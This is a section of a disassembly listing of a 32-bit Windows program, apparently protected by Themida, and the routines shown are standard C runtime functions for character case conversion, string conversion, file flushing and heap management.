arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DBA14
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41D5DE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41D645


loc_41D5C6:				; CODE XREF: sub_41D5AA+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41D5D7
		cmp	cl, 7Ah
		jg	short loc_41D5D7
		sub	cl, 20h
		mov	[edx], cl


loc_41D5D7:				; CODE XREF: sub_41D5AA+21j
					; sub_41D5AA+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41D5C6
		jmp	short loc_41D645
; ---------------------------------------------------------------------------


loc_41D5DE:				; CODE XREF: sub_41D5AA+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_422ACA
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41D637
		push	edi
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41D637
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DBA14
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D637
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_41D637:				; CODE XREF: sub_41D5AA+53j
					; sub_41D5AA+61j ...
		push	[ebp+var_4]
		call	sub_41B0B1
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41D645:				; CODE XREF: sub_41D5AA+1Aj
					; sub_41D5AA+32j
		pop	ebx
		leave
		retn
sub_41D5AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D648	proc near		; CODE XREF: sub_417ADE+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43CBE4, 1
		jle	short loc_41D65F
		push	4
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D65F:				; CODE XREF: sub_41D648+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C9D8
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41D648	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_420510+76p
					; sub_420510+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43CBE4, 1
		jle	short loc_41D687
		push	8
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D687:				; CODE XREF: sub_41D670+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C9D8
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41D6EC
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41D6ED
		test	eax, 1
		jz	short loc_41D6CD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41D71A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41D6EA


loc_41D6CD:				; CODE XREF: ___:0041D6C0j
					; ___:0041D6E8j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41D71A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41D71A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41D6CD


loc_41D6EA:				; CODE XREF: ___:0041D6CBj
					; ___:0041D724j
		pop	edi
		pop	esi

locret_41D6EC:				; CODE XREF: ___:0041D6A6j
		retn
; ---------------------------------------------------------------------------


loc_41D6ED:				; CODE XREF: ___:0041D6B9j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41D722
		repe cmpsd
		jz	short loc_41D722
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh
		jnz	short loc_41D715
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh


loc_41D715:				; CODE XREF: ___:0041D703j
					; ___:0041D707j ...
		mov	eax, 0


loc_41D71A:				; CODE XREF: ___:0041D6C6j
					; ___:0041D6D3j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41D722:				; CODE XREF: ___:0041D6F5j
					; ___:0041D6F9j
		test	eax, eax
		jz	short loc_41D6EA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		cmp	dh, ch
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41D715
		dec	eax


loc_41D749:				; CODE XREF: ___:0041D72Fj
					; ___:0041D736j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D74C	proc near		; CODE XREF: sub_418069+6p
					; sub_418087+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBA14, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41D779
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41D812
		cmp	eax, 5Ah
		jg	loc_41D812
		add	eax, 20h
		jmp	loc_41D812
; ---------------------------------------------------------------------------


loc_41D779:				; CODE XREF: sub_41D74C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41D7AD
		cmp	dword_43CBE4, esi
		jle	short loc_41D79B
		push	esi
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41D7A5
; ---------------------------------------------------------------------------


loc_41D79B:				; CODE XREF: sub_41D74C+42j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41D7A5:				; CODE XREF: sub_41D74C+4Dj
		test	eax, eax
		jnz	short loc_41D7AD


loc_41D7A9:				; CODE XREF: sub_41D74C+ADj
		mov	eax, ebx
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D7AD:				; CODE XREF: sub_41D74C+3Aj
					; sub_41D74C+5Bj
		mov	edx, off_43C9D8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D7D1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41D7DA
; ---------------------------------------------------------------------------


loc_41D7D1:				; CODE XREF: sub_41D74C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41D7DA:				; CODE XREF: sub_41D74C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi


loc_41D7E9:				; DATA XREF: Themida_:00558BDCo
		push	dword_4DBA14
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D7A9
		cmp	eax, esi
		jnz	short loc_41D805
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D805:				; CODE XREF: sub_41D74C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41D812:				; CODE XREF: sub_41D74C+16j
					; sub_41D74C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D74C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D817	proc near		; CODE XREF: sub_4185A5+ADp
					; sub_419594+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41D82E


loc_41D824:				; CODE XREF: sub_41D817+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41D824


loc_41D82E:				; CODE XREF: sub_41D817+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41D817	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D834	proc near		; CODE XREF: sub_4185A5+7Fp
					; sub_4185A5+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41D901
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41D92E
		cmp	dword_4DBA14, esi
		jnz	short loc_41D885
		cmp	edi, esi
		jbe	loc_41D92E


loc_41D864:				; CODE XREF: sub_41D834+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41D92E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41D864
		jmp	loc_41D92E
; ---------------------------------------------------------------------------


loc_41D885:				; CODE XREF: sub_41D834+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_427180
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DBA24
		call	esi
		test	eax, eax
		jnz	loc_41D92D
		call	near ptr 2680867h
		nop
		cmp	eax, 7Ah
		jz	short loc_41D8BF


loc_41D8B0:				; CODE XREF: sub_41D834+CBj
					; sub_41D834+F7j
		mov	dword_4DB958, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D8BF:				; CODE XREF: sub_41D834+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41D8C7:				; CODE XREF: sub_41D834+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41D8E9
		mov	edx, off_43C9D8
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D8DE
		inc	eax


loc_41D8DE:				; CODE XREF: sub_41D834+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41D8C7


loc_41D8E9:				; CODE XREF: sub_41D834+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DBA24
		call	esi
		test	eax, eax
		jnz	short loc_41D92E
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------


loc_41D901:				; CODE XREF: sub_41D834+Fj
		cmp	dword_4DBA14, esi
		jnz	short loc_41D914
		push	[ebp+arg_4]
		call	sub_41AFE0
		pop	ecx
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D914:				; CODE XREF: sub_41D834+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DBA24
		nop
		call	near ptr 2810000h
		cmp	eax, esi
		jz	short loc_41D8B0


loc_41D92D:				; CODE XREF: sub_41D834+6Bj
		dec	eax


loc_41D92E:				; CODE XREF: sub_41D834+1Aj
					; sub_41D834+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D834	endp

; ---------------------------------------------------------------------------
		db 16h
		dd 63DCAAFDh, 0F85F9AC8h, 5EDBB0ABh, 0A1647E07h, 0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 6BE890E8h, 33024540h, 89D48AD2h
		dd 4DB97015h, 81C88B00h, 0FFE1h, 6C0D8900h, 0C1004DB9h
		dd 0CA0308E1h, 0B9680D89h, 0E8C1004Dh, 0B964A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 5BE8FC75h, 90000059h, 453FF7E8h, 0CFECA302h,	19E8004Dh
		dd 0A3000058h, 4DB9C8h,	55C2E8h, 5504E800h, 0B9E80000h
		dd 89FFFFDDh, 458DD075h, 29E850A4h, 90024526h, 5495E8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 0C7E89056h, 50022633h, 0FE3820E8h, 0A04589FFh
		dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	0D3E85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41DA29	proc near		; CODE XREF: sub_41D052+16p
					; ___:00422F18p ...

arg_0		= dword	ptr  4

		cmp	dword_4DB9D0, 1
		jnz	short loc_41DA37
		call	sub_423590


loc_41DA37:				; CODE XREF: sub_41DA29+7j
		push	[esp+arg_0]
		call	sub_4235C9
		push	0FFh
		call	off_43A9A0
		pop	ecx
		pop	ecx
		retn
sub_41DA29	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DB9D0
		dd 0E8057501h, 5B34h, 42474FFh,	5B64E8h, 0FF685900h, 90000000h
		dd 0A58244E8h
		db 77h,	0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DA72	proc near		; CODE XREF: sub_41B05B+2Ap
					; sub_423A33+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DCDA0
		jnb	loc_41DB0C
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DCCA0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41DB0C
		push	edi
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DAEB
		cmp	edi, 1
		jz	short loc_41DAB9
		cmp	edi, 2
		jnz	short loc_41DACF


loc_41DAB9:				; CODE XREF: sub_41DA72+40j
		push	2
		call	sub_4238A2
		push	1
		mov	ebp, eax
		call	sub_4238A2
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41DAEB


loc_41DACF:				; CODE XREF: sub_41DA72+45j
		push	edi
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 26608E3h
		test	eax, eax
		jnz	short loc_41DAEB
		nop
		call	near ptr 2680867h
		mov	ebp, eax
		jmp	short loc_41DAED
; ---------------------------------------------------------------------------


loc_41DAEB:				; CODE XREF: sub_41DA72+3Bj
					; sub_41DA72+5Bj ...
		xor	ebp, ebp


loc_41DAED:				; CODE XREF: sub_41DA72+77j
		push	edi
		call	sub_423828
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41DB08
		push	ebp
		call	sub_4203DF
		pop	ecx
		jmp	short loc_41DB1D
; ---------------------------------------------------------------------------


loc_41DB08:				; CODE XREF: sub_41DA72+8Bj
		xor	eax, eax
		jmp	short loc_41DB20
; ---------------------------------------------------------------------------


loc_41DB0C:				; CODE XREF: sub_41DA72+Ej
					; sub_41DA72+2Fj
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9


loc_41DB1D:				; CODE XREF: sub_41DA72+94j
		or	eax, 0FFFFFFFFh


loc_41DB20:				; CODE XREF: sub_41DA72+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41DA72	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB25	proc near		; CODE XREF: sub_41B05B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB4E
		test	al, 8
		jz	short loc_41DB4E
		push	dword ptr [esi+8]
		call	sub_41B0B1
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41DB4E:				; CODE XREF: sub_41DB25+Aj
					; sub_41DB25+Ej
		pop	esi
		retn
sub_41DB25	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB50	proc near		; CODE XREF: sub_41DBF0+2Dp
					; sub_41DBF0+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41DB62
		push	esi
		call	sub_41DBF0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB62:				; CODE XREF: sub_41DB50+7j
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jz	short loc_41DB72
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB72:				; CODE XREF: sub_41DB50+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41DB87
		push	dword ptr [esi+10h]
		call	sub_4238DF
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41DB87:				; CODE XREF: sub_41DB50+26j
		xor	eax, eax
		pop	esi
		retn
sub_41DB50	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB8B	proc near		; CODE XREF: sub_41B05B+1Ap
					; ___:0041D223p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41DBD8
		test	ax, 108h
		jz	short loc_41DBD8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41DBD8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41DBD1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41DBD8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41DBD8
; ---------------------------------------------------------------------------


loc_41DBD1:				; CODE XREF: sub_41DB8B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41DBD8:				; CODE XREF: sub_41DB8B+14j
					; sub_41DB8B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41DB8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBE7	proc near		; CODE XREF: sub_4239DBp
		push	1
		call	sub_41DBF0
		pop	ecx
		retn
sub_41DBE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBF0	proc near		; CODE XREF: sub_41DB50+Ap
					; sub_41DBE7+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DCC80, esi
		jle	short loc_41DC4E


loc_41DC01:				; CODE XREF: sub_41DBF0+5Cj
		mov	eax, dword_4DBC78
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41DC45
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41DC45
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41DC2B
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC45
		inc	ebx
		jmp	short loc_41DC45
; ---------------------------------------------------------------------------


loc_41DC2B:				; CODE XREF: sub_41DBF0+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41DC45
		test	cl, 2
		jz	short loc_41DC45
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41DC45
		or	edi, eax


loc_41DC45:				; CODE XREF: sub_41DBF0+1Bj
					; sub_41DBF0+23j ...
		inc	esi
		cmp	esi, dword_4DCC80
		jl	short loc_41DC01


loc_41DC4E:				; CODE XREF: sub_41DBF0+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41DC59
		mov	eax, edi


loc_41DC59:				; CODE XREF: sub_41DBF0+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41DBF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5D	proc near		; CODE XREF: ___:0041DDC0p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		nop
		call	near ptr 2680DC2h
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41DC88
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41DC88
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41DC88:				; CODE XREF: sub_41DC5D+15j
					; sub_41DC5D+1Cj
		pop	esi
		retn
sub_41DC5D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41BB20
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		nop
		call	near ptr 26D05B2h
		test	eax, eax
		jz	short loc_41DCCD
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41DCCD
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41DCCD
		push	1
		pop	eax
		jmp	loc_41DDCF
; ---------------------------------------------------------------------------


loc_41DCCD:				; CODE XREF: ___:0041DCB1j
					; ___:0041DCBAj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		nop
		call	near ptr 2880000h
		test	eax, eax
		jz	loc_41DDBC
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41DD0F


loc_41DCFC:				; CODE XREF: ___:0041DD0Dj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD0A
		cmp	al, 7Ah
		jg	short loc_41DD0A
		sub	al, 20h
		mov	[ecx], al


loc_41DD0A:				; CODE XREF: ___:0041DD00j
					; ___:0041DD04j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DCFC


loc_41DD0F:				; CODE XREF: ___:0041DCFAj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41BE70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DD31
		lea	eax, [ebp-122Ch]
		jmp	short loc_41DD7A
; ---------------------------------------------------------------------------


loc_41DD31:				; CODE XREF: ___:0041DD27j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2670000h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41DD65


loc_41DD52:				; CODE XREF: ___:0041DD63j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD60
		cmp	al, 7Ah
		jg	short loc_41DD60
		sub	al, 20h
		mov	[ecx], al


loc_41DD60:				; CODE XREF: ___:0041DD56j
					; ___:0041DD5Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DD52


loc_41DD65:				; CODE XREF: ___:0041DD50j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx


loc_41DD7A:				; CODE XREF: ___:0041DD2Fj
		cmp	eax, ebx
		jz	short loc_41DDBC
		push	2Ch
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41DDBC
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41DDA1


loc_41DD93:				; CODE XREF: ___:0041DD9Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41DD9C
		mov	[ecx], bl
		jmp	short loc_41DD9D
; ---------------------------------------------------------------------------


loc_41DD9C:				; CODE XREF: ___:0041DD96j
		inc	ecx


loc_41DD9D:				; CODE XREF: ___:0041DD9Aj
		cmp	[ecx], bl
		jnz	short loc_41DD93


loc_41DDA1:				; CODE XREF: ___:0041DD91j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41BBA6
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41DDCF
		cmp	eax, 3
		jz	short loc_41DDCF
		cmp	eax, 1
		jz	short loc_41DDCF


loc_41DDBC:				; CODE XREF: ___:0041DCE6j
					; ___:0041DD7Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41DC5D
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41DDCF:				; CODE XREF: ___:0041DCC8j
					; ___:0041DDB0j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 472217E8h
		dd 0A3C08502h, 4DCFE4h,	93E83674h, 83FFFFFEh, 0E8A303F8h
		dd 75004DCFh, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0CFE435FFh, 0E890004Dh
		dd 2463004h, 6AC3C033h,	68C35801h, 140h, 35FF006Ah, 4DCFE4h
		dd 21BEE890h, 0C0850238h, 4DCFDCA3h, 0C3017500h, 4244C8Bh
		dd 0CFD42583h, 8300004Dh, 4DCFD825h, 16A0000h, 4DCFD0A3h
		dd 0E00D8900h, 0C7004DCFh, 4DCFC805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DE77	proc near		; CODE XREF: sub_41B0B1+17p
					; sub_41B202+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DCFD8
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DCFDC
		lea	ecx, [eax+ecx*4]


loc_41DE87:				; CODE XREF: sub_41DE77+26j
		cmp	eax, ecx
		jnb	short loc_41DE9F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41DEA1
		add	eax, 14h
		jmp	short loc_41DE87
; ---------------------------------------------------------------------------


loc_41DE9F:				; CODE XREF: sub_41DE77+12j
		xor	eax, eax

locret_41DEA1:				; CODE XREF: sub_41DE77+21j
		retn
sub_41DE77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEA2	proc near		; CODE XREF: sub_41B0B1+23p
					; sub_41B202+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41E1C6
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41DF78
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF06
		push	3Fh
		pop	edx


loc_41DF06:				; CODE XREF: sub_41DEA2+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41DF5A
		cmp	edx, 20h
		jnb	short loc_41DF31
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41DF52
; ---------------------------------------------------------------------------


loc_41DF31:				; CODE XREF: sub_41DEA2+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41DF52:				; CODE XREF: sub_41DEA2+86j
					; sub_41DEA2+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41DF5D
; ---------------------------------------------------------------------------


loc_41DF5A:				; CODE XREF: sub_41DEA2+6Aj
		mov	ecx, [ebp+var_4]


loc_41DF5D:				; CODE XREF: sub_41DEA2+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
